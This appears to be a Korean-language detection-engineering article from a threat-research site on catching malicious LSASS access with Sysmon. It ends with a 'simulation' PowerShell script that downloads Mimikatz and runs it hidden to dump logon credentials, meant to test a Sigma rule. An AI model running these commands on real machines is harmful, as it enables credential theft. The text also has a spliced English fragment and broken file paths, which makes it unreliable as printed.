SOC Prime Bias: 중간

11 12월 2025 17:46

Windows 환경에서 악성 LSASS 접근 추적하기

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Windows 환경에서 악성 LSASS 접근 추적하기
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 글은 적대 세력이 Mimikatz 및 Cobalt Strike와 같은 도구를 사용하여 LSASS 프로세스에 접근하여 자격 증명을 추출하는 방법을 설명합니다. 여기에는 LSASS 메모리 덤핑에 관련된 일반적인 Windows API 호출, DLL 및 접근 권한이 포함됩니다. 저자들은 자격 증명 덤핑 탐지 범위를 강화하기 위한 Sysmon 및 기타 EDR 플랫폼의 업데이트된 탐지 쿼리를 공유합니다.

조사

Splunk 위협 연구팀은 Atomic Red Team, Mimikatz, Invoke-Mimikatz 및 Cobalt Strike를 사용하여 LSASS 접근을 에뮬레이션했습니다. 그들은 DLL 로드(dbgcore.dll, dbghelp.dll, ntdll.dll)와 특징적인 GrantedAccess 값을 보여주는 Sysmon 원격 측정을 캡처했습니다. 그리고 이 데이터 셋을 활용하여 특정 접근 권한과 연관된 CallTrace 정보를 상관시키는 탐지 쿼리를 조정했습니다.

완화

lsass.exe에 대한 ProcessAccess 이벤트를 기록하도록 Sysmon 또는 EDR 정책을 조정하고, 알려진 DLL 및 관련 접근 권한에 필터를 적용하며 신뢰할 수 있는 시스템 프로세스를 화이트리스트 처리하십시오. 제공된 쿼리를 사용하여 의심스러운 LSASS 접근 패턴에 대한 경고를 생성하십시오. 새로운 도구 및 기술이 등장할 때 이 규칙을 지속적으로 검토하고 조정하십시오.

응답

탐지가 트리거되면, 시작 프로세스, 관련 사용자 컨텍스트 및 LSASS 접근에 관련된 DLL을 검증하십시오. 영향을 받은 엔드포인트를 격리하고 깊은 포렌식 분석을 위해 메모리를 캡처하며 자격 증명 도난의 증거를 평가하십시오. 프로세스 트리를 검토하여 합법적인 관리 유틸리티를 공격자의 활동과 구분하십시오.

공격 흐름

이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요

알림 설정

시뮬레이션 실행

전제조건: 원격 측정 및 기준치 사전 점검이 통과하여야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적군 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령어 및 설명은 식별된 TTP를 직접 반영하여 탐지 논리가 기대하는 정확한 원격 측정을 생성해야 합니다.

  • 공격 설명 및 명령어:
    공격자는 희생자 호스트에서 로컬 관리자 권한을 획득하고 횡적 이동을 위해 자격 증명을 수확하려 합니다. 그들은Mimikatz를 머신에 복사하고 프로세스를DEBUG권한으로 상승시키고sekurlsa::logonPasswords모듈을 호출하여 ntdll.dll을 통한 네이티브 API 호출을 통해 LSASS 메모리를 읽습니다. Sysmon은 이것을 여러 고권한ntdll.dll. Sysmon logs this as a ProcessAccess event with several high‑privilege GrantedAccess플래그(e.g.,0x00100x14000x1fffff)가 있는 ProcessAccess 이벤트로 기록합니다. 공격자는 UI 노출을 피하기 위해 숨겨진 PowerShell 세션에서 도구를 실행합니다.

    # 1. %TEMP%에 Mimikatz 바이너리 드롭
    $mkPath = "$env:TEMPmimikatz.exe"
    Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip"
    Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
    Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
    
    # 2. 자격 증명 덤핑 명령어로 Mimikatz 실행
    Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait
  • 회귀 테스트 스크립트:

    # ----------------------------------------------------------------------
    # LSASS 자격 증명 덤핑 시뮬레이션 – Sigma 규칙 #4e0789a0트리거
    # ----------------------------------------------------------------------
    # Mimikatz 드롭 (이미 없는 경우)
    $mkPath = "$env:TEMPmimikatz.exe"
    if (-Not (Test-Path $mkPath)) {
        $zip = "$env:TEMPmk.zip"
        Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
        Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
        Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
        Remove-Item $zip -Force
    }
    
    # Mimikatz 실행하여 LSASS 자격 증명 덤핑
    $args = 'privilege::debug sekurlsa::logonPasswords exit'
    Write-Host "[+] LSASS 덤프를 위한 Mimikatz 실행 중..."
    Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
    Write-Host "[+] Mimikatz 실행 완료."
    # ----------------------------------------------------------------------
  • 정리 명령어:

    # Mimikatz 바이너리 및 잔여 파일 제거
    $mkPath = "$env:TEMPmimikatz.exe"
    if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
    $folder = "$env:TEMPmimikatz"
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    Write-Host "정리 완료."